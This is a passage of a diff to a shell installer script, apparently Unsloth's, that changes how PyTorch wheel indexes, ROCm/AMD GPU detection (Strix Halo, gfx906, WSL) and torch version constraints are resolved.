"$TORCH_INDEX_URL" "$@" - fi - else - run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$TORCHVISION_CONSTRAINT" "$TORCHAUDIO_CONSTRAINT" \ - --default-index "$TORCH_INDEX_URL" "$@" - fi -} - # Expected tag from the index leaf ($1): cuXXX / cpu / rocm (rocmX.Y and gfx* -> # rocm). Empty on an unknown leaf (odd mirror) so the repair safely no-ops. _expected_torch_flavor_tag() { - _leaf=$(_torch_index_url_leaf "$1") + _u="${1%/}" + _leaf="${_u##*/}" case "$_leaf" in - cu[0-9]*) - # Exact cu + digits only; a cu*-suffixed leaf (cu128-private) -> "" (custom), - # else a correct +cu128 wheel is force-reinstalled every run. - case "${_leaf#cu}" in - *[!0-9]*) echo "" ;; - *) echo "$_leaf" ;; - esac - ;; - cpu) echo "cpu" ;; - # Exact rocm/gfx families only; a custom rocm*-suffixed leaf -> "" (custom). - *) - if _is_pip_rocm_family_leaf "$_leaf"; then echo "rocm"; else echo ""; fi - ;; + cu[0-9]*) echo "$_leaf" ;; + cpu) echo "cpu" ;; + rocm*|gfx*) echo "rocm" ;; + *) echo "" ;; esac } -# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX / +# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX / # rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv -# resolves (torch + every transitive dep) via --default-index -- the same URLs the +# resolves (torch + every transitive dep) via --index-url -- the same URLs the # fresh-install paths above already use -- so a stale wheel is auto-repairable. # Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall. _torch_index_repairable() { - _leaf=$(_torch_index_url_leaf "$1") + _u="${1%/}" + _leaf="${_u##*/}" case "$_leaf" in - cu[0-9]*) echo "yes" ;; - # Only EXACT rocm/gfx families resolve via --default-index; a suffixed leaf is verbatim. - *) - if _is_pip_rocm_family_leaf "$_leaf"; then echo "yes"; else echo "no"; fi - ;; + cu[0-9]*|rocm[0-9]*|gfx*) echo "yes" ;; + *) echo "no" ;; esac } -# Remove credentials from a wheel index URL ($1) so an authenticated pin never leaks: -# drops userinfo AND query/fragment; scheme/host/path stay exact. Shared with py / ps1. -_strip_index_url_credentials() { - _sic_url="$1" - case "$_sic_url" in - *://*) ;; - *) printf '%s' "$_sic_url"; return ;; - esac - _sic_scheme="${_sic_url%%://*}" - _sic_rest="${_sic_url#*://}" - # Drop query / fragment (may hold auth tokens). - _sic_rest="${_sic_rest%%\?*}" - _sic_rest="${_sic_rest%%#*}" - _sic_auth="${_sic_rest%%/*}" - # Drop user:pass@ userinfo if present. - case "$_sic_auth" in - *@*) _sic_host="${_sic_auth##*@}" ;; - *) _sic_host="$_sic_auth" ;; - esac - if [ "$_sic_auth" = "$_sic_rest" ]; then - printf '%s://%s' "$_sic_scheme" "$_sic_host" - else - printf '%s://%s/%s' "$_sic_scheme" "$_sic_host" "${_sic_rest#*/}" - fi -} - get_radeon_wheel_url() { # Only meaningful on Linux. Picks a repo.radeon.com base URL whose listing # contains torch wheels. Tries paths like rocm-rel-7.2.1/, rocm-rel-7.2/, @@ -3138,7 +2276,7 @@ _pick_radeon_wheel() { # the installer -- always returns 0. Runs the idempotent helper (ROCm 7.2 + # librocdxg), then sources the env it persisted so detection finds the GPU. # Export the ROCm-on-WSL env into this process and persist it to /etc/profile.d -# so non-login Unsloth/llama launches inherit it. Idempotent (writes only when +# so non-login Studio/llama launches inherit it. Idempotent (writes only when # the drop-in is missing); no-op without librocdxg, so never fires off WSL. # /etc/profile.d is root-owned -- sudo-tee when not root, else ROCm vanishes # after this shell on a non-root reinstall. Best-effort either way. @@ -3168,34 +2306,31 @@ _persist_rocm_wsl_dropin() { fi } -# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it. _maybe_bootstrap_rocm_wsl() { [ "${OS:-}" = "wsl" ] || return 0 [ "${SKIP_TORCH:-false}" = "false" ] || return 0 [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0 # Leave any already-usable GPU completely alone (NVIDIA, or working ROCm). if _has_usable_nvidia_gpu; then return 0; fi - # Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000, - # the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so - # rocminfo isn't SIGPIPE'd like `grep -q` under pipefail. + # "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the + # generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and + # would skip this bootstrap while the real GPU is still unusable. awk consumes + # all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail. _ensure_rocm_probe_env if command -v rocminfo >/dev/null 2>&1 && \ - rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then + rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then # rocminfo may work only via the transient env _ensure_rocm_probe_env # just set, which dies with the installer. Persist the drop-in so login - # shells (Unsloth, llama.cpp) inherit it -- else a reinstall over an + # shells (Studio, llama.cpp) inherit it -- else a reinstall over an # existing /opt/rocm (uninstall keeps ROCm but drops it) loses the GPU. _persist_rocm_wsl_dropin return 0 fi # WSL GPU passthrough device must exist (present on any WSL2 GPU host). [ -e /dev/dxg ] || return 0 - # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also - # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo. - if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null \ - && ! _wsl_amd_gpu_name >/dev/null 2>&1; then - return 0 - fi + # Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match + # the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S"). + grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0 command -v bash >/dev/null 2>&1 || return 0 # Fast path: already configured (librocdxg present) but launched from a @@ -3205,7 +2340,7 @@ _maybe_bootstrap_rocm_wsl() { # shellcheck disable=SC1091 . /etc/profile.d/unsloth-rocm-wsl.sh || true else - # librocdxg present but the env drop-in is gone (e.g. an Unsloth + # librocdxg present but the env drop-in is gone (e.g. a Studio # uninstall removed it while keeping shared ROCm). Restore the env. _persist_rocm_wsl_dropin fi @@ -3213,8 +2348,7 @@ _maybe_bootstrap_rocm_wsl() { fi echo "" - _rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU" - substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN" + substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN" substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU." substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)" @@ -3262,88 +2396,10 @@ _maybe_bootstrap_rocm_wsl() { [ -n "$_rw_tmp" ] && rm -f "$_rw_tmp" return 0 } -# When the caller pins the wheel index (UNSLOTH_TORCH_INDEX_URL / _FAMILY), honour it -# everywhere: skip the WSL ROCm bootstrap and the Radeon/Strix reroute below (which would -# re-probe the GPU and overwrite the pin). Trim whitespace first (parity with -# get_torch_index_url): a whitespace-only override is unset there, so must not flip this true. -_torch_index_pinned=false -_ti_url_trim="${UNSLOTH_TORCH_INDEX_URL:-}" -_ti_url_trim="${_ti_url_trim#"${_ti_url_trim%%[![:space:]]*}"}"; _ti_url_trim="${_ti_url_trim%"${_ti_url_trim##*[![:space:]]}"}" -_ti_family_trim="${UNSLOTH_TORCH_INDEX_FAMILY:-}" -_ti_family_trim="${_ti_family_trim#"${_ti_family_trim%%[![:space:]]*}"}"; _ti_family_trim="${_ti_family_trim%"${_ti_family_trim##*[![:space:]]}"}" -if [ -n "$_ti_url_trim" ] || [ -n "$_ti_family_trim" ]; then - _torch_index_pinned=true -fi -[ "$_torch_index_pinned" = true ] || _maybe_bootstrap_rocm_wsl || true +_maybe_bootstrap_rocm_wsl || true TORCH_INDEX_URL=$(get_torch_index_url) -# Linux: ROCm runtime missing but a supported AMD gfx arch is inferable (Strix Halo -# in /proc/cpuinfo, lspci marketing name, UNSLOTH_ROCM_GFX_ARCH). Route to AMD's -# per-arch wheels like install.ps1 does on Windows (unslothai#7301). -# Gated on the runtime probes NOT naming a gfx: either no AMD GPU is detected at -# all (_has_amd_rocm_gpu false), or the GPU is visible only through the -# env-independent KFD topology while rocminfo/amd-smi can't read its arch -# (KFD-only host, unslothai#7314 -- before the KFD detection fix these hosts -# reached this reroute via the false branch, so the empty-probe condition -# preserves that routing). A */cpu index chosen WITH a readable gfx -# (unsupported/unreadable ROCm version, after its own warning) is a deliberate -# fallback -- rerouting it would contradict that decision, and stays excluded -# because the shared probe returns its gfx. An explicit UNSLOTH_ROCM_GFX_ARCH -# override stays authoritative either way. -if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \ - ! _has_usable_nvidia_gpu && \ - { [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ] || ! _has_amd_rocm_gpu || \ - [ -z "$(_probe_amd_gfx_arch)" ]; } && \ - case "$(uname -s)" in Linux) true ;; *) false ;; esac && \ - case "$_ARCH" in x86_64|amd64) true ;; *) false ;; esac; then - # ROCm torch wheels are x86_64-only; get_torch_index_url returns CPU on other - # arches, so an inferred/overridden gfx must not reroute arm64 to AMD wheels. - case "$TORCH_INDEX_URL" in - */cpu) - _linux_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null || true) - if [ -n "$_linux_inferred_gfx" ]; then - _amd_family=$(_amd_arch_index_family_for_gfx "$_linux_inferred_gfx") || _amd_family="" - if [ -n "$_amd_family" ]; then - _amd_mirror="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}" - while [ "${_amd_mirror%/}" != "$_amd_mirror" ]; do - _amd_mirror="${_amd_mirror%/}" - done - TORCH_INDEX_URL="${_amd_mirror}/${_amd_family}/" - # Hand the inferred arch to setup.sh (llama.cpp): it re-probes - # ROCm on its own, and on these runtime-less hosts its probes - # find nothing, so without this it classifies the box as - # non-ROCm and installs the CPU prebuilt while torch just got - # AMD per-arch wheels. setup.sh and install_llama_prebuilt.py - # both honor UNSLOTH_ROCM_GFX_ARCH, so exporting it is the - # whole handoff (a user-set override re-exports unchanged). - export UNSLOTH_ROCM_GFX_ARCH="$_linux_inferred_gfx" - case "$_linux_inferred_gfx" in - gfx1201|gfx1200|gfx1151|gfx1150|gfx1152) - TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" - TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0" - TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0" - ;; - esac - echo "" >&2 - # KFD-only hosts reach this reroute with /dev/kfd present - # (that's what detected them), so don't claim it's missing. - if _has_amd_rocm_gpu; then - echo " [WARN] AMD GPU visible via the kernel driver (KFD) but rocminfo/amd-smi can't read its gfx arch; using $_linux_inferred_gfx." >&2 - else - echo " [WARN] ROCm runtime not visible (/dev/kfd, rocminfo, amd-smi) but $_linux_inferred_gfx inferred." >&2 - fi - echo " [WARN] Routing to AMD arch-specific wheels ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))." >&2 - echo " [WARN] These wheels bundle their own ROCm runtime; install the kernel stack for native compute:" >&2 - echo " [WARN] https://docs.unsloth.ai/get-started/install-and-update/amd" >&2 - echo " [WARN] Tip: set UNSLOTH_ROCM_GFX_ARCH=$_linux_inferred_gfx to skip inference next time." >&2 - echo "" >&2 - fi - fi - ;; - esac -fi - # Export the resolved torch backend ("cuda", "rocm", or "cpu") so that # downstream scripts (setup.sh -> install_python_stack.py) know what was # chosen here and can skip ROCm-specific repair steps on CUDA/CPU hosts. @@ -3351,74 +2407,24 @@ fi # whose base path happens to contain "rocm" or "gfx" must not mislabel a # cu*/cpu index as ROCm (radeon repo URLs end in rocm-rel-X.Y/, Strix # overrides in gfxNNNN/, so the trailing slash is stripped first). -# Lowercase the leaf so every gfx*/rocm*/cu* arm matches regardless of case (canonical AMD -# RDNA4 leaf is gfx120X-all). CUDA is branded only on a real cu[0-9]* leaf, so a mirror -# leaf (/current) does NOT commit a CUDA backend; an unknown leaf leaves the var unset so -# the stack probes the GPU. Query/fragment dropped first, then ALL trailing slashes (in -# lockstep with the shared _torch_index_url_leaf extractor). -_torch_index_leaf="${TORCH_INDEX_URL%%\?*}" -_torch_index_leaf="${_torch_index_leaf%%#*}" -# Strip ALL trailing slashes, not one: .../cu128// must yield cu128, not an empty leaf. -while [ -n "$_torch_index_leaf" ] && [ "${_torch_index_leaf%/}" != "$_torch_index_leaf" ]; do - _torch_index_leaf="${_torch_index_leaf%/}" -done +_torch_index_leaf="${TORCH_INDEX_URL%/}" _torch_index_leaf="${_torch_index_leaf##*/}" -_torch_index_leaf=$(printf '%s' "$_torch_index_leaf" | tr '[:upper:]' '[:lower:]') case "$_torch_index_leaf" in rocm*|gfx*) export UNSLOTH_TORCH_BACKEND="rocm" ;; cpu) export UNSLOTH_TORCH_BACKEND="cpu" ;; - cu[0-9]*) export UNSLOTH_TORCH_BACKEND="cuda" ;; - # Unknown leaf (odd mirror, /current): unset so a stale inherited value can't leak and - # the stack probes the GPU. - *) unset UNSLOTH_TORCH_BACKEND ;; + *) export UNSLOTH_TORCH_BACKEND="cuda" ;; esac -# Whether TORCH_INDEX_URL names an actual pip ROCm family (rocm* / gfx*), gating the -# ROCm-only side effects below (AMD bitsandbytes, ROCm-torch repair). Digit-gated so a leaf -# merely STARTING with "rocm" isn't force-repaired from the wrong path. -if _is_pip_rocm_family_leaf "$_torch_index_leaf"; then - _torch_index_is_rocm_family=true -else - _torch_index_is_rocm_family=false -fi - -# rocm7.2 and the per-gfx indexes with the _grouped_mm <2.11 bug (gfx120X-all, gfx1151, -# gfx1150) ship torch 2.11.0 -- raise the floor (also covers a pinned override that skipped -# the Strix reroute). Pin the companions too: the per-gfx index publishes them independently -# and a bare name can resolve a 2.12 ABI-mismatched wheel. Match on the FINAL leaf so a -# custom mirror with a gfx/rocm7.2 path segment but a cu*/cpu family isn't forced. -case "$_torch_index_leaf" in - rocm7.2|gfx120x-all|gfx1151|gfx1150|gfx1152) - TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" - TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0" - TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0" - ;; - # CUDA cu12x/cu13x indexes ship torch 2.11.x: widen the ceiling to <2.12.0 (matches - # _CUDA_TORCH_PKG_SPEC) and widen the companions with it so the trio stays paired. - cu[0-9]*) - TORCH_CONSTRAINT="torch>=2.4,<2.12.0" - TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.27.0" - TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.12.0" - ;; +# rocm7.2 ships torch 2.11.0 -- adjust the constraint to allow it. +# All other ROCm tags and CUDA stay within <2.11.0. +case "$TORCH_INDEX_URL" in + */rocm7.2) TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" ;; esac -# A pinned custom/unknown-leaf index (/simple, /current, /cu128-private) has no curated -# companion set, so bound torchvision/torchaudio to the same <2.11 range the Python path pins -# (else a mirror with newer companions resolves a 2.12 ABI-mismatched wheel). Known families -# keep their curated companions above (_expected_torch_flavor_tag returns "" only for custom). -if [ "$_torch_index_pinned" = true ] && \ - [ -z "$(_expected_torch_flavor_tag "$TORCH_INDEX_URL")" ]; then - TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0" - TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0" -fi - # Auto-detect GPU for AMD ROCm based # get_torch_index_url must have chosen */rocm* # (gfx in rocminfo or amd-smi list). Then require rocminfo "Marketing Name:.*Radeon". -# Skipped when the index is pinned: an explicit override must not be rerouted to the -# Radeon/Strix repos by GPU probing. _amd_gpu_radeon=false -if [ "$_torch_index_pinned" = false ]; then case "$TORCH_INDEX_URL" in */rocm*) if _has_amd_rocm_gpu && command -v rocminfo >/dev/null 2>&1 && \ @@ -3427,64 +2433,29 @@ case "$TORCH_INDEX_URL" in fi ;; esac -# 0 when a rocmX.Y index leaf ($1, the final path segment) is older than floor -# $2.$3 (int compare, so rocm7.2 < rocm7.13). Non-rocm leaves (gfx*, cu*, cpu) and -# non-numeric versions return 1. Leaf-based (like $_torch_index_leaf) so a mirror -# base holding its own rocm token compares the family leaf, not the base path. -_rocm_leaf_below() { - case "$1" in rocm[0-9]*.[0-9]*) : ;; *) return 1 ;; esac - _rb=${1#rocm}; _maj=${_rb%%.*}; _min=${_rb#*.}; _min=${_min%%.*} - case "$_maj$_min" in *[!0-9]*) return 1 ;; esac - if [ "$_maj" -lt "$2" ]; then return 0; fi - if [ "$_maj" -eq "$2" ] && [ "$_min" -lt "$3" ]; then return 0; fi - return 1 -} -# ── Strix Halo / Strix Point: route to the AMD arch-specific index ─────────── -# gfx1151/gfx1150 need torch 2.11+rocm7.13 from repo.amd.com/rocm/whl/gfx/, -# which carries AMD's real fixes (the rocm7.1 _grouped_mm segfault, moe_utils.py:167, -# and later Strix kernel bugs). Every generic pytorch.org index below rocm7.13 lacks -# them (and the Radeon repo can be offline, unslothai#7264), so reroute a detected -# Strix GPU whenever the picked index is older than the arch build -- covers today's -# rocm6.0-7.2 and any future 7.x < 7.13; rocm7.13+ already has the fixes, so leave it. -case "$_torch_index_leaf" in - rocm[0-9]*) +# ── Strix Halo / Strix Point: force rocm7.2 wheels, bypass Radeon repo ─────── +# gfx1151 (Strix Halo) and gfx1150 (Strix Point) have a ROCm 7.1 driver bug +# that causes a segfault in torch._grouped_mm (moe_utils.py line 167). +# The Radeon repo now ships cp313 wheels for rocm-rel-7.1, so when +# _amd_gpu_radeon=true the installer silently lands on the broken combo. +# Detect these GPUs when TORCH_INDEX_URL is rocm7.1 and override to rocm7.2. +case "$TORCH_INDEX_URL" in + */rocm7.1|*/rocm7.1.*) # Collect every gfx token in rocminfo / amd-smi enumeration order # (skip duplicates), then index by HIP_VISIBLE_DEVICES / # ROCR_VISIBLE_DEVICES so a mixed Strix iGPU + non-Strix dGPU box # where the user selected the dGPU does NOT get rerouted to the # Strix per-gfx index. - # || true on each probe: no gfx match makes grep exit 1, which under - # set -euo pipefail would abort the installer before the next fallback - # runs (now that the case matches every rocm* index, not just rocm7.1). - # A user-supplied UNSLOTH_ROCM_GFX_ARCH overrides probing (mirrors setup.sh - # and the display block), so a Strix override still reaches the arch index. - _gfx_all=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]') - if [ -z "$_gfx_all" ] && command -v rocminfo >/dev/null 2>&1; then - _gfx_all=$(rocminfo 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + _gfx_all="" + if command -v rocminfo >/dev/null 2>&1; then + _gfx_all=$(rocminfo 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}') fi if [ -z "$_gfx_all" ] && command -v amd-smi >/dev/null 2>&1; then - _gfx_all=$(amd-smi list 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + _gfx_all=$(amd-smi list 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}') # PowerShell paths also probe `amd-smi static --asic`; mirror it # so a host with hipinfo-less amd-smi reports the gfx target. if [ -z "$_gfx_all" ]; then - _gfx_all=$(amd-smi static --asic 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) - fi - fi - # get_torch_index_url reads the arch with ROCR/HIP masks cleared, so a - # mask hiding every agent (e.g. ROCR_VISIBLE_DEVICES=-1) still lands - # here on a generic rocm index; re-probe unmasked or a masked-out Strix - # box keeps the broken generic wheels. Partial masks never get here - # (they enumerate at least one agent above) and keep their selection. - # ${VAR+x} (not :-): a SET-but-empty mask also hides every agent and - # must trigger the re-probe too. - if [ -z "$_gfx_all" ] && [ -n "${ROCR_VISIBLE_DEVICES+x}${HIP_VISIBLE_DEVICES+x}" ]; then - if command -v rocminfo >/dev/null 2>&1; then - _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) - fi - if [ -z "$_gfx_all" ] && command -v amd-smi >/dev/null 2>&1; then - _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi list 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) - [ -z "$_gfx_all" ] && \ - _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi static --asic 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + _gfx_all=$(amd-smi static --asic 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}') fi fi _runtime_gfx="" @@ -3505,28 +2476,17 @@ case "$_torch_index_leaf" in if (n > 0) print vals[idx] }') fi - # An explicit UNSLOTH_ROCM_GFX_ARCH=gfx906 pins the runtime target to the - # MI50 / Radeon VII path and must win over Strix probe-order detection on a - # mixed Strix + MI50 host, so the Strix reroute is suppressed when it is set. - # Normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) and - # trim whitespace (mirrors the Python .strip()) so the feature-flag suffix or - # a stray newline does not defeat the exact gfx906 comparisons below. - _gfx906_env=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]') - _gfx906_env=${_gfx906_env%%:*} _strix_gfx="" - if [ "$_gfx906_env" != "gfx906" ]; then - case "$_runtime_gfx" in - gfx1151|gfx1150|gfx1152) _strix_gfx="$_runtime_gfx" ;; - esac - fi - # Skip rocm7.13+ generic indexes: they already ship the fixes, so the - # arch build (rocm7.13) would be a downgrade rather than a rescue. - if [ -n "$_strix_gfx" ] && _rocm_leaf_below "$_torch_index_leaf" 7 13; then + case "$_runtime_gfx" in + gfx1151|gfx1150) _strix_gfx="$_runtime_gfx" ;; + esac + if [ -n "$_strix_gfx" ]; then echo "" >&2 - echo " [WARN] $_strix_gfx (Strix) detected -- routing to the AMD arch-specific index" >&2 - echo " [WARN] torch 2.11+rocm7.13 has AMD's real gfx1150/gfx1151 fixes (the ROCm 7.1" >&2 - echo " [WARN] _grouped_mm segfault, moe_utils.py:167, and later Strix kernel bugs)," >&2 - echo " [WARN] and is more reliable than the rocm7.2 index or an offline Radeon repo." >&2 + echo " [WARN] $_strix_gfx (Strix) + ROCm 7.1 detected -- known _grouped_mm segfault" >&2 + echo " [WARN] ROCm 7.1 wheels are broken for gfx1150/gfx1151 (moe_utils.py:167)" >&2 + echo " [WARN] Routing to AMD arch-specific index (torch 2.11+rocm7.13 has the real fix)" >&2 + echo " [WARN] Upgrade ROCm to 7.2+ to use the standard index:" >&2 + echo " [WARN] https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2 echo "" >&2 # AMD's arch-specific index serves torch 2.11.0+rocm7.13.0 which has AMD's # actual fix for the gfx1151/gfx1150 _grouped_mm kernel bug -- preferred @@ -3541,82 +2501,10 @@ case "$_torch_index_leaf" in done TORCH_INDEX_URL="${_amd_strix_base}/${_strix_gfx}/" TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" - # Pin companions to 2.11 (per-gfx index publishes them independently). - TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0" - TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0" _amd_gpu_radeon=false fi - # ── MI50 / Radeon VII (gfx906, Vega 20): legacy community-supported path ── - # Newer rocm wheel families bundle ROCm libraries whose Tensile kernels - # dropped gfx906 (rocBLAS "TensileLibrary.dat ... not read for gfx906", - # ROCm/TheRock#1844), so a rocm6.4+/7.x index installs a torch that fails - # at the first BLAS call. The rocm6.3 index is the last one whose wheels - # run on gfx906 (torch 2.7.0 verified on MI50 32GB; up to 2.9 in community - # use). Reroute any newer picked index; leave rocm6.0-6.3 alone. - # - # Target resolution: an explicit UNSLOTH_ROCM_GFX_ARCH wins (lets a host - # whose rocminfo/amd-smi emit no gfx token still opt in; _gfx906_env was - # lowercased above, before the Strix block it suppresses). Otherwise only - # treat gfx906 as the target when it is the SOLE distinct arch present: - # _gfx_all is de-duplicated by visible index, which loses per-device - # ordinals on a mixed host, so a non-gfx906 selection must never be - # downgraded to rocm6.3 -- such hosts set UNSLOTH_ROCM_GFX_ARCH to opt in. - _gfx906_target=false - if [ -n "$_gfx906_env" ]; then - [ "$_gfx906_env" = "gfx906" ] && _gfx906_target=true - elif [ -n "$_gfx_all" ]; then - _gfx906_uniq=$(printf '%s\n' "$_gfx_all" | awk 'NF && !seen[$0]++') - [ "$_gfx906_uniq" = "gfx906" ] && _gfx906_target=true - fi - # gfx906 always trains from the PyTorch rocm6.3 wheels, never the Radeon repo - # (repo.radeon.com wheels carry no gfx906 BLAS kernels). Clear the Radeon - # marketing-name flag as soon as gfx906 is the target -- even when the host - # already picks rocm6.0-6.3 and the reroute below is a no-op -- so a Radeon VII - # does not divert to the radeon branch on those versions. - if [ "$_gfx906_target" = true ]; then - _amd_gpu_radeon=false - fi - if [ "$_gfx906_target" = true ] && ! _rocm_leaf_below "$_torch_index_leaf" 6 4; then - echo "" >&2 - echo " [WARN] gfx906 (MI50 / Radeon VII / Vega 20) detected -- routing torch to the" >&2 - echo " [WARN] rocm6.3 index: it is the last wheel family that runs on gfx906 (newer" >&2 - echo " [WARN] rocm wheels ship without gfx906 BLAS kernels and fail at first use)." >&2 - echo " [WARN] gfx906 is a community-maintained legacy path: 16-bit LoRA and full" >&2 - echo " [WARN] finetuning work out of the box; bitsandbytes 4-bit QLoRA requires a" >&2 - echo " [WARN] source build of bitsandbytes for gfx906 (see docs.unsloth.ai/amd)." >&2 - echo "" >&2 - _amd_gfx906_base="${UNSLOTH_PYTORCH_MIRROR:-https://download.pytorch.org/whl}" - while [ "${_amd_gfx906_base%/}" != "$_amd_gfx906_base" ]; do - _amd_gfx906_base="${_amd_gfx906_base%/}" - done - TORCH_INDEX_URL="${_amd_gfx906_base}/rocm6.3" - # Reset to the default (<2.11) window: a rocm7.2 pick raised the floor - # to 2.11 above, which the rocm6.3 index (torch <= 2.9.x) cannot satisfy. - TORCH_CONSTRAINT="torch>=2.4,<2.11.0" - TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0" - TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0" - # (_amd_gpu_radeon already cleared above for every gfx906 target.) - fi ;; esac -fi # _torch_index_pinned guard (Radeon + Strix reroute) -# Re-run over an existing install: keep the previous venv's torch RELEASE; the fresh -# index above supplies the right flavor for this machine. Evaluated HERE, after every -# index/constraint decision including the Strix reroute, so the window checked is the -# final one and a raised floor (rocm7.2 / Strix gfx) rejects an older release. -# _PREV_FALLBACK_CONSTRAINT keeps the range so the install can fall back when the exact -# release is not on the chosen index (mirrors may prune old wheels). Skipped for --no-torch. -_PREV_TORCH_PIN="" -_PREV_FALLBACK_CONSTRAINT="$TORCH_CONSTRAINT" -if [ "$SKIP_TORCH" = false ]; then - _prev_pin=$(_previous_torch_pin "$_PREV_TORCH_VER" "$TORCH_CONSTRAINT") - if [ -n "$_prev_pin" ]; then - _PREV_TORCH_PIN="$_prev_pin" - TORCH_CONSTRAINT="$_prev_pin" - substep "existing install has torch $_PREV_TORCH_VER -- keeping it (set UNSLOTH_TORCH_UPGRADE=1 to get the newest release)" - fi -fi - _TAURI_TORCH_INDEX_FAMILY=$(_tauri_torch_index_family "$TORCH_INDEX_URL") if [ "$_amd_gpu_radeon" = true ] && [ "$SKIP_TORCH" = false ]; then _TAURI_TORCH_INDEX_FAMILY="radeon" @@ -3664,14 +2552,12 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; then # gfx1102 matched BEFORE gfx1100 so the spaceless "RX 7700S" lands on # gfx1102 (bash case has no negative lookahead like the PS tables). case "$_gpu_disp_mkt" in - *9070*|*9080*) _gpu_disp_gfx="gfx1201" ;; # RDNA 4 (Navi 48) - *9060*) _gpu_disp_gfx="gfx1200" ;; # RDNA 4 (Navi 44) - *"8065S"*|*"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _gpu_disp_gfx="gfx1151" ;; # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+) - *"890M"*|*"880M"*|*"Strix Point"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*) _gpu_disp_gfx="gfx1150" ;; # RDNA 3.5 (Strix Point: Radeon 890M/880M, Ryzen AI 9 HX 370/375) - *"860M"*|*"840M"*|*"Krackan"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) _gpu_disp_gfx="gfx1152" ;; # RDNA 3.5 (Krackan Point: Radeon 860M/840M, Ryzen AI 7 350 / AI 5 340) - *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*) _gpu_disp_gfx="gfx1102" ;; # RDNA 3 (Navi 33) - *"RX 7800"*|*"RX 7700"*|*"PRO W7700"*|*"PRO V710"*) _gpu_disp_gfx="gfx1101" ;; # RDNA 3 (Navi 32) - *"RX 7900"*|*"PRO 